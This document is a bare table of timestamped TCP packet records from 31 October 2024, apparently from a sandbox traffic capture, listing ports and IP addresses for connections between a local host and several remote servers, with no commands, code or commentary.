Oct 31, 2024 09:07:18.228791952 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.230037928 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.230041981 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.246403933 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.246684074 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.247147083 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.247292042 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.247304916 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.247324944 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.247332096 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.249701023 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.249751091 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.250256062 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.250256062 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.250305891 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.250977039 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:18.251765013 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.251827002 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.251981020 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.252051115 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.252051115 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.252065897 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.252074003 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.254081964 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.254122019 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.254534006 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.254560947 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.254568100 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.283262014 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.295139074 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.295154095 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.296864033 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:18.296865940 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.296873093 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:18.296875954 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.298404932 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:18.298546076 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:18.298964977 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:18.298995972 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:18.299221039 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:18.356817961 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.356933117 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.357600927 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.357635021 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.357642889 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.357673883 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.357680082 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.364814997 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.364845037 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.365192890 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.365756035 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.365772963 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.422825098 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.422955036 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.423219919 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.423219919 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.423240900 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.423247099 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.425956964 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.425971985 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.426044941 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.426347017 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.426358938 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.509659052 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.509769917 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.512727976 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.512732983 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.512957096 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.520440102 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.563335896 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.675570965 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:18.675605059 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:18.675821066 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:18.678080082 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:18.678095102 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:18.768712997 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.768779039 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.769577026 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.769577026 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.769598961 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:18.769613028 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:18.943392038 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.943892002 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.943902016 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.944456100 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.944463015 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.989646912 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.991446018 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.991446018 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.991480112 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.991501093 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.023842096 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.026248932 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.026271105 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.026737928 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.026745081 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.074352026 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.074506998 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.074599981 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.074784994 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.074784994 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.074804068 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.074817896 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.077826023 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.077867031 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.078067064 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.078382969 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.078397036 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.085258961 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.086091995 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.086127043 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.086549044 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.086560965 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.120280027 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.120593071 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.120687962 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.120687962 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.120747089 CET	49784	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.120778084 CET	443	49784	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.123394012 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.123486996 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.123677015 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.123851061 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.123876095 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.160422087 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.160563946 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.160691977 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.160734892 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.160734892 CET	49785	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.160756111 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.160772085 CET	443	49785	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.163086891 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.163115025 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.163181067 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.163336039 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.163347960 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.165802956 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.166162968 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.166176081 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.166569948 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.166575909 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.212239027 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.212322950 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.212404013 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.212558985 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.212568998 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.212600946 CET	49786	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.212605953 CET	443	49786	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.215246916 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.215267897 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.215337038 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.215481043 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.215496063 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.296788931 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.297118902 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.297419071 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.299612045 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.299622059 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.299634933 CET	49787	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.299642086 CET	443	49787	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.302529097 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.302555084 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.302702904 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.302916050 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.302930117 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.408545971 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:19.408571959 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:19.408634901 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:19.409105062 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:19.409116983 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:19.588311911 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.588433027 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.589942932 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.589951038 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.590444088 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.640098095 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.656909943 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.694613934 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:19.695058107 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:19.699353933 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.699423075 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:19.699875116 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:19.699963093 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:19.700139046 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:19.700166941 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:19.705252886 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:19.705274105 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:19.819684982 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.820312023 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.820334911 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.820784092 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.820789099 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.862529993 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.863012075 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.863039017 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.863441944 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.863447905 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.892060995 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.892543077 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.892561913 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.892975092 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.892978907 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.950119972 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.950189114 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.950261116 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.950411081 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.950428963 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.950439930 CET	49789	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.950444937 CET	443	49789	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.953003883 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.953026056 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.953243971 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.953438997 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.953455925 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.955094099 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955161095 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955182076 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955212116 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955219984 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955260992 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955267906 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955285072 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955292940 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955329895 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955347061 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955656052 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.955733061 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.955743074 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.956033945 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.956084967 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.967268944 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.967288017 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.967303991 CET	49788	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:19.967309952 CET	443	49788	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:19.969664097 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.970029116 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.970048904 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.970485926 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.970495939 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.995496988 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.995563030 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.995610952 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.995896101 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.995918989 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.995937109 CET	49790	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.995946884 CET	443	49790	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.998368025 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.998399019 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:19.998471022 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.998589993 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:19.998603106 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.022126913 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.022392035 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.022602081 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.027517080 CET	49791	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.027530909 CET	443	49791	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.032185078 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.032217979 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.032428026 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.032524109 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.032532930 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.042876005 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.043409109 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.043423891 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.043827057 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.043833971 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.102580070 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.102766991 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.102828979 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.105559111 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.105559111 CET	49792	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.105582952 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.105604887 CET	443	49792	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.108918905 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.108937979 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.108989000 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.109412909 CET	49802	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.109426975 CET	443	49802	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.173324108 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.173451900 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.173506975 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.175007105 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.175031900 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.175040007 CET	49793	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.175048113 CET	443	49793	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.178250074 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.178282022 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.178436995 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.178750992 CET	49803	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.178762913 CET	443	49803	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.288444996 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.288652897 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.288661003 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.289180040 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.289237022 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.290175915 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.290234089 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.290405035 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.290482998 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.290678978 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.290685892 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.290702105 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.330229044 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.330236912 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.602758884 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:20.602826118 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:20.606969118 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.658365965 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.658374071 CET	443	49795	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:20.691703081 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.692248106 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.692276001 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.692708015 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.692714930 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.698307991 CET	49795	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:20.702894926 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:20.716799974 CET	49798	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:20.721720934 CET	80	49798	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:20.735073090 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.735585928 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.735613108 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.736038923 CET	49800	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.736043930 CET	443	49800	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.760524988 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.761246920 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.761264086 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.761737108 CET	49801	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.761742115 CET	443	49801	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.821346998 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.821486950 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.821557999 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.821671009 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.821685076 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.821731091 CET	49799	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.821742058 CET	443	49799	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.824728966 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.824768066 CET	443	49804	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:20.824852943 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.825001955 CET	49804	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:20.825018883 CET	443	49804	13.107.246.45	192.168.2.6
